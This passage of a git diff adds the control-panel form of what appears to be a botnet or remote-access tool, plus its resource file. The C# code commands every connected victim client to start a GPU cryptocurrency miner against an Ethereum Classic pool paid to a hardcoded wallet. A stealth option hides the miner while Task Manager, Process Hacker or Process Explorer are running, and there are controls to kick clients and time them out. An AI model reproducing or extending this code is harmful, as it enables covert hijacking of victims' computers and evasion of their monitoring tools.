Encoding.ASCII.GetBytes("UUCommandULineUU"); + RijndaelManaged rijndaelManaged = new RijndaelManaged(); + rijndaelManaged.Mode = CipherMode.CBC; + rijndaelManaged.Padding = PaddingMode.Zeros; + rijndaelManaged.BlockSize = 128 /*0x80*/; + rijndaelManaged.KeySize = 256 /*0x0100*/; + ICryptoTransform encryptor = rijndaelManaged.CreateEncryptor(bytes2, bytes3); + byte[] array; + using (MemoryStream memoryStream = new MemoryStream()) + { + using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, encryptor, CryptoStreamMode.Write)) + { + cryptoStream.Write(bytes1, 0, bytes1.Length); + cryptoStream.FlushFinalBlock(); + array = memoryStream.ToArray(); + cryptoStream.Close(); + } + memoryStream.Close(); + } + return Convert.ToBase64String(array); + } + + private void metroButton1_Click(object sender, EventArgs e) + { + if (this.Start.Text == "Start") + { + if (this.AntiProcessCheck.Checked) + this.args = $"--cinit-find-e --pool=stratum://`{this.Wallet.Text}`.worker@{this.Pool.Text} --cinit-max-gpu={this.numGpu.Value.ToString()} --response-timeout=300 --farm-retries=30 --cinit-stealth-targets=\"{this.Unamlib_Encrypt(this.AntiProcess.Text)}\" --cinit-stealth --cinit-etc"; + else + this.args = $"--cinit-find-e --pool=stratum://`{this.Wallet.Text}`.worker@{this.Pool.Text} --cinit-max-gpu={this.numGpu.Value.ToString()} --response-timeout=300 --farm-retries=30 --cinit-etc"; + foreach (Clients clients in this.ClientsAll()) + clients.Send((object) ("Start<@>" + this.args)); + this.Start.Text = "Stop"; + } + else + { + foreach (Clients clients in this.ClientsAll()) + clients.Send((object) "Stop"); + this.Start.Text = "Start"; + } + } + + private void metroButton1_Click_1(object sender, EventArgs e) + { + this.Hide(); + this.Refresh(); + } + + private void TimeOut_Tick(object sender, EventArgs e) + { + Clients[] allClients = this.ClientsAll(); + if (allClients.Length == 0) + return; + Task.Run((Action) (() => + { + foreach (Clients clients in allClients) + { + if (Methods.DiffSeconds(clients.LastPiy, DateTime.Now) > 60.0) + clients.Disconnected("TimeOut"); + } + })); + } + + private void kickToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (Clients clients in this.ClientsSelected()) + clients.Disconnected("Kick"); + } + + private void Checker_Tick(object sender, EventArgs e) + { + this.Text = $"Miner Etc Miners [{this.Grid1.RowCount}] Selected[{this.Grid1.SelectedRows.Count}]"; + this.Refresh(); + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + DataGridViewCellStyle gridViewCellStyle1 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle2 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle3 = new DataGridViewCellStyle(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormMinerEtc)); + this.metroLabel1 = new MetroLabel(); + this.metroLabel2 = new MetroLabel(); + this.Start = new MetroButton(); + this.AntiProcessCheck = new MetroCheckBox(); + this.numGpu = new NumericUpDown(); + this.metroLabel3 = new MetroLabel(); + this.metroButton1 = new MetroButton(); + this.metroContextMenu1 = new MetroContextMenu(this.components); + this.kickToolStripMenuItem = new ToolStripMenuItem(); + this.Wallet = new MetroTextBox(); + this.Pool = new MetroTextBox(); + this.AntiProcess = new MetroTextBox(); + this.TimeOut = new Timer(this.components); + this.Grid1 = new DataGridView(); + this.Checker = new Timer(this.components); + this.numGpu.BeginInit(); + this.metroContextMenu1.SuspendLayout(); + ((ISupportInitialize) this.Grid1).BeginInit(); + this.SuspendLayout(); + this.metroLabel1.AutoSize = true; + this.metroLabel1.Location = new Point(34, 58); + this.metroLabel1.Margin = new Padding(2, 0, 2, 0); + this.metroLabel1.Name = "metroLabel1"; + this.metroLabel1.Size = new Size(88, 19); + this.metroLabel1.Style = MetroColorStyle.Green; + this.metroLabel1.TabIndex = 1; + this.metroLabel1.Text = "Wallet Adress"; + this.metroLabel1.Theme = MetroThemeStyle.Dark; + this.metroLabel1.UseStyleColors = true; + this.metroLabel2.AutoSize = true; + this.metroLabel2.Location = new Point(34, 113); + this.metroLabel2.Margin = new Padding(2, 0, 2, 0); + this.metroLabel2.Name = "metroLabel2"; + this.metroLabel2.Size = new Size(35, 19); + this.metroLabel2.Style = MetroColorStyle.Green; + this.metroLabel2.TabIndex = 3; + this.metroLabel2.Text = "Pool"; + this.metroLabel2.Theme = MetroThemeStyle.Dark; + this.metroLabel2.UseStyleColors = true; + this.Start.Anchor = AnchorStyles.Top | AnchorStyles.Right; + this.Start.Location = new Point(793, 112 /*0x70*/); + this.Start.Margin = new Padding(2); + this.Start.Name = "Start"; + this.Start.Size = new Size(79, 20); + this.Start.Style = MetroColorStyle.Green; + this.Start.TabIndex = 4; + this.Start.Text = "Start"; + this.Start.Theme = MetroThemeStyle.Dark; + this.Start.UseSelectable = true; + this.Start.UseStyleColors = true; + this.Start.Click += new EventHandler(this.metroButton1_Click); + this.AntiProcessCheck.AutoSize = true; + this.AntiProcessCheck.Checked = true; + this.AntiProcessCheck.CheckState = CheckState.Checked; + this.AntiProcessCheck.Location = new Point(35, 162); + this.AntiProcessCheck.Margin = new Padding(2); + this.AntiProcessCheck.Name = "AntiProcessCheck"; + this.AntiProcessCheck.Size = new Size(85, 15); + this.AntiProcessCheck.Style = MetroColorStyle.Green; + this.AntiProcessCheck.TabIndex = 8; + this.AntiProcessCheck.Text = "AntiProcess"; + this.AntiProcessCheck.Theme = MetroThemeStyle.Dark; + this.AntiProcessCheck.UseSelectable = true; + this.AntiProcessCheck.UseStyleColors = true; + this.numGpu.BackColor = Color.Black; + this.numGpu.ForeColor = Color.SpringGreen; + this.numGpu.Location = new Point(502, 181); + this.numGpu.Margin = new Padding(2); + this.numGpu.Minimum = new Decimal(new int[4] + { + 10, + 0, + 0, + 0 + }); + this.numGpu.Name = "numGpu"; + this.numGpu.Size = new Size(56, 20); + this.numGpu.TabIndex = 202; + this.numGpu.Value = new Decimal(new int[4] + { + 100, + 0, + 0, + 0 + }); + this.metroLabel3.AutoSize = true; + this.metroLabel3.Location = new Point(442, 184); + this.metroLabel3.Margin = new Padding(2, 0, 2, 0); + this.metroLabel3.Name = "metroLabel3"; + this.metroLabel3.Size = new Size(48 /*0x30*/, 19); + this.metroLabel3.Style = MetroColorStyle.Green; + this.metroLabel3.TabIndex = 203; + this.metroLabel3.Text = "Gpu %"; + this.metroLabel3.Theme = MetroThemeStyle.Dark; + this.metroLabel3.UseStyleColors = true; + this.metroButton1.Anchor = AnchorStyles.Top | AnchorStyles.Right; + this.metroButton1.Location = new Point(793, 77); + this.metroButton1.Margin = new Padding(2); + this.metroButton1.Name = "metroButton1"; + this.metroButton1.Size = new Size(79, 20); + this.metroButton1.Style = MetroColorStyle.Green; + this.metroButton1.TabIndex = 205; + this.metroButton1.Text = "Hide Window"; + this.metroButton1.Theme = MetroThemeStyle.Dark; + this.metroButton1.UseSelectable = true; + this.metroButton1.UseStyleColors = true; + this.metroButton1.Click += new EventHandler(this.metroButton1_Click_1); + this.metroContextMenu1.Items.AddRange(new ToolStripItem[1] + { + (ToolStripItem) this.kickToolStripMenuItem + }); + this.metroContextMenu1.Name = "metroContextMenu1"; + this.metroContextMenu1.Size = new Size(97, 26); + this.kickToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.kickToolStripMenuItem.ForeColor = Color.Red; + this.kickToolStripMenuItem.Name = "kickToolStripMenuItem"; + this.kickToolStripMenuItem.Size = new Size(96 /*0x60*/, 22); + this.kickToolStripMenuItem.Text = "Kick"; + this.kickToolStripMenuItem.Click += new EventHandler(this.kickToolStripMenuItem_Click); + this.Wallet.CustomButton.Image = (Image) null; + this.Wallet.CustomButton.Location = new Point(364, 1); + this.Wallet.CustomButton.Name = ""; + this.Wallet.CustomButton.Size = new Size(21, 21); + this.Wallet.CustomButton.Style = MetroColorStyle.Blue; + this.Wallet.CustomButton.TabIndex = 1; + this.Wallet.CustomButton.Theme = MetroThemeStyle.Light; + this.Wallet.CustomButton.UseSelectable = true; + this.Wallet.CustomButton.Visible = false; + this.Wallet.Lines = new string[1] + { + "0xba92dA92f51D31EDC6Bee8026C039513FA2E2f53" + }; + this.Wallet.Location = new Point(34, 80 /*0x50*/); + this.Wallet.MaxLength = (int) short.MaxValue; + this.Wallet.Name = "Wallet"; + this.Wallet.PasswordChar = char.MinValue; + this.Wallet.ScrollBars = ScrollBars.None; + this.Wallet.SelectedText = ""; + this.Wallet.SelectionLength = 0; + this.Wallet.SelectionStart = 0; + this.Wallet.ShortcutsEnabled = true; + this.Wallet.Size = new Size(386, 23); + this.Wallet.Style = MetroColorStyle.Green; + this.Wallet.TabIndex = 207; + this.Wallet.Text = "0xba92dA92f51D31EDC6Bee8026C039513FA2E2f53"; + this.Wallet.Theme = MetroThemeStyle.Dark; + this.Wallet.UseSelectable = true; + this.Wallet.UseStyleColors = true; + this.Wallet.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.Wallet.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.Pool.CustomButton.Image = (Image) null; + this.Pool.CustomButton.Location = new Point(364, 1); + this.Pool.CustomButton.Name = ""; + this.Pool.CustomButton.Size = new Size(21, 21); + this.Pool.CustomButton.Style = MetroColorStyle.Blue; + this.Pool.CustomButton.TabIndex = 1; + this.Pool.CustomButton.Theme = MetroThemeStyle.Light; + this.Pool.CustomButton.UseSelectable = true; + this.Pool.CustomButton.Visible = false; + this.Pool.Lines = new string[1] + { + "eu1-etc.ethermine.org:4444" + }; + this.Pool.Location = new Point(35, 134); + this.Pool.MaxLength = (int) short.MaxValue; + this.Pool.Name = "Pool"; + this.Pool.PasswordChar = char.MinValue; + this.Pool.ScrollBars = ScrollBars.None; + this.Pool.SelectedText = ""; + this.Pool.SelectionLength = 0; + this.Pool.SelectionStart = 0; + this.Pool.ShortcutsEnabled = true; + this.Pool.Size = new Size(386, 23); + this.Pool.Style = MetroColorStyle.Green; + this.Pool.TabIndex = 208 /*0xD0*/; + this.Pool.Text = "eu1-etc.ethermine.org:4444"; + this.Pool.Theme = MetroThemeStyle.Dark; + this.Pool.UseSelectable = true; + this.Pool.UseStyleColors = true; + this.Pool.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.Pool.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.AntiProcess.CustomButton.Image = (Image) null; + this.AntiProcess.CustomButton.Location = new Point(364, 1); + this.AntiProcess.CustomButton.Name = ""; + this.AntiProcess.CustomButton.Size = new Size(21, 21); + this.AntiProcess.CustomButton.Style = MetroColorStyle.Blue; + this.AntiProcess.CustomButton.TabIndex = 1; + this.AntiProcess.CustomButton.Theme = MetroThemeStyle.Light; + this.AntiProcess.CustomButton.UseSelectable = true; + this.AntiProcess.CustomButton.Visible = false; + this.AntiProcess.Lines = new string[1] + { + "Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe" + }; + this.AntiProcess.Location = new Point(34, 184); + this.AntiProcess.MaxLength = (int) short.MaxValue; + this.AntiProcess.Name = "AntiProcess"; + this.AntiProcess.PasswordChar = char.MinValue; + this.AntiProcess.ScrollBars = ScrollBars.None; + this.AntiProcess.SelectedText = ""; + this.AntiProcess.SelectionLength = 0; + this.AntiProcess.SelectionStart = 0; + this.AntiProcess.ShortcutsEnabled = true; + this.AntiProcess.Size = new Size(386, 23); + this.AntiProcess.Style = MetroColorStyle.Green; + this.AntiProcess.TabIndex = 209; + this.AntiProcess.Text = "Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe"; + this.AntiProcess.Theme = MetroThemeStyle.Dark; + this.AntiProcess.UseSelectable = true; + this.AntiProcess.UseStyleColors = true; + this.AntiProcess.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.AntiProcess.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.TimeOut.Interval = 25000; + this.TimeOut.Tick += new EventHandler(this.TimeOut_Tick); + this.Grid1.AllowUserToAddRows = false; + this.Grid1.AllowUserToDeleteRows = false; + this.Grid1.AllowUserToResizeColumns = false; + this.Grid1.AllowUserToResizeRows = false; + this.Grid1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right; + this.Grid1.BackgroundColor = Color.FromArgb(17, 17, 17); + this.Grid1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Grid1.CellBorderStyle = DataGridViewCellBorderStyle.None; + this.Grid1.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle1.Alignment = DataGridViewContentAlignment.TopLeft; + gridViewCellStyle1.BackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle1.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle1.ForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle1.SelectionBackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle1.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle1.WrapMode = DataGridViewTriState.True; + this.Grid1.ColumnHeadersDefaultCellStyle = gridViewCellStyle1; + this.Grid1.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.Grid1.ContextMenuStrip = (ContextMenuStrip) this.metroContextMenu1; + this.Grid1.Cursor = Cursors.Default; + gridViewCellStyle2.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle2.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle2.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle2.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle2.SelectionBackColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle2.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle2.WrapMode = DataGridViewTriState.False; + this.Grid1.DefaultCellStyle = gridViewCellStyle2; + this.Grid1.EnableHeadersVisualStyles = false; + this.Grid1.GridColor = Color.FromArgb(17, 17, 17); + this.Grid1.Location = new Point(34, 227); + this.Grid1.Name = "Grid1"; + this.Grid1.ReadOnly = true; + this.Grid1.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle3.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle3.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle3.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle3.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle3.Padding = new Padding(1, 0, 0, 0); + gridViewCellStyle3.SelectionBackColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle3.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle3.WrapMode = DataGridViewTriState.True; + this.Grid1.RowHeadersDefaultCellStyle = gridViewCellStyle3; + this.Grid1.RowHeadersVisible = false; + this.Grid1.SelectionMode = DataGridViewSelectionMode.FullRowSelect; + this.Grid1.ShowCellErrors = false; + this.Grid1.ShowCellToolTips = false; + this.Grid1.ShowEditingIcon = false; + this.Grid1.ShowRowErrors = false; + this.Grid1.Size = new Size(838, 272); + this.Grid1.TabIndex = 210; + this.Checker.Enabled = true; + this.Checker.Interval = 3000; + this.Checker.Tick += new EventHandler(this.Checker_Tick); + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(898, 531); + this.Controls.Add((Control) this.Grid1); + this.Controls.Add((Control) this.AntiProcess); + this.Controls.Add((Control) this.Pool); + this.Controls.Add((Control) this.Wallet); + this.Controls.Add((Control) this.metroButton1); + this.Controls.Add((Control) this.metroLabel3); + this.Controls.Add((Control) this.numGpu); + this.Controls.Add((Control) this.AntiProcessCheck); + this.Controls.Add((Control) this.Start); + this.Controls.Add((Control) this.metroLabel2); + this.Controls.Add((Control) this.metroLabel1); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Margin = new Padding(2); + this.Name = nameof (FormMinerEtc); + this.Padding = new Padding(15, 60, 15, 16 /*0x10*/); + this.Style = MetroColorStyle.Green; + this.Text = "Miner Etc Miners [0] Selected[0]"; + this.Theme = MetroThemeStyle.Dark; + this.FormClosing += new FormClosingEventHandler(this.FormEtc_FormClosing); + this.Load += new EventHandler(this.FormMinerEtc_Load); + this.numGpu.EndInit(); + this.metroContextMenu1.ResumeLayout(false); + ((ISupportInitialize) this.Grid1).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + } +} +} diff --git a/Server/Server/Forms/FormMinerEtc.resx b/Server/Server/Forms/FormMinerEtc.resx new file mode 100644 index 0000000..a567bcf --- /dev/null +++ b/Server/Server/Forms/FormMinerEtc.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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